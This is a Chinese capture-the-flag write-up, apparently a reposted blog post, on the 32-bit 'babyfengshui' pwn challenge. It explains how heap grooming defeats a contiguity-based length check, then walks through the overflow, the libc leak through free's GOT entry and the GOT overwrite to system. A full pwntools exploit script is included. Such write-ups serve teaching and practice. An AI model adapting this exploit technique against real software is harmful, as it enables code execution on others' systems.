babyfengshui-堆溢出

babyfengshui-堆溢出

题目是一个32位的选单式程序,大致功能和保护如下

在这里插入图片描述

逐一分析各个功能,首先是Add_user部分


      printf("size of description: ");
      __isoc99_scanf("%u%c", &v2, &v0);
      sub_8048816(v2);
_DWORD *__cdecl sub_8048816(size_t size_description)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(size_description);
  memset(s, 0, size_description);
  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
  *v2 = s;                                      // v1存放name的指针
  ptr[(unsigned __int8)index] = v2;
  printf("name: ");
  input((char *)ptr[(unsigned __int8)index] + 4, 0x7C);// 读取name
  sub_8048724(++index - 1);
  return v2;
}
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int length; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)index && ptr[a1] )
  {
    length = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &length, &v2);
    if ( (char *)(length + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    input(*(char **)ptr[a1], length + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

首先输入你要分配的内存大小,并且为其分配内存,之后分配一个0x80的内存,并且将先前分配的内存地址放入后新分配的内存中。先分配的内存存放description 后分配的内存存放name。大致内存分配效果如下所示:

在这里插入图片描述

但是我们在输入description前会要求我们再一次输入我们要输入的长度,但是长度并不是我们随心所欲,会有检查机制

if ( (char *)(length + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )//length为输入长度

以上图为例要求 :

输入长度+0x08E37008<0x08E3703C

这样我们就无法实现堆溢出。

由于两个内存分配是连续的,因此这种保护得以生效,如果内存不连续的话,就会失效。因此我们可以先连续ADD两个0x80大小的user 将其删除之后,再重新分配一个0x100,两个分配的内存便得以分离。

保护便失效,我们便可以实现堆溢出

堆溢出之后我们便可以修改第二个chunk的description地址改为free函数的地址,进而泄露libc,且修改free的GOT表改为system函数之后调用free函数就相当于调用system函数。

最后EXP如下

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=process('./babyfengshui')
free_got_addr=0x0804B010
def add_user(size1,payload,size2,payload2):
    p.recvuntil("Action: ")
    p.sendline("0")
    p.recvuntil("size of description: ")
    p.sendline(str(size1))
    p.recvuntil("name: ")
    p.sendline(payload)
    p.recvuntil("text length: ")
    p.sendline(str(size2))
    p.recvuntil("text: ")
    p.sendline(payload2) 
def delete_user(index):
    p.recvuntil("Action: ")
    p.sendline('1')
    p.recvuntil("index: ")
    p.sendline(str(index))
def display_user(index):    
    p.recvuntil("Action: ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(index))
def update_user(index,size,payload):
    p.recvuntil("Action: ")
    p.sendline('3')
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("text length: ")
    p.sendline(str(size))
    p.recvuntil("text: ")
    p.sendline(payload)  


add_user(0x80,'aaaa',0x80,'aaaa')
add_user(0x80,'aaaa',0x80,'aaaa')
add_user(0x8,'/bin/sh',0x8,'/bin/sh')
delete_user(0)
payload='a'*0x198+p32(free_got_addr)
add_user(0x100,'aaaa',0x200,payload)
##leak libc
display_user(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
print hex(free_addr)
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')

##write_got
update_user(1,4,p32(system_addr))
delete_user(2)
p.interactive()

发布了49 篇原创文章 · 获赞 14 · 访问量 6913

猜你喜欢

转载自blog.csdn.net/qq_39268483/article/details/97967106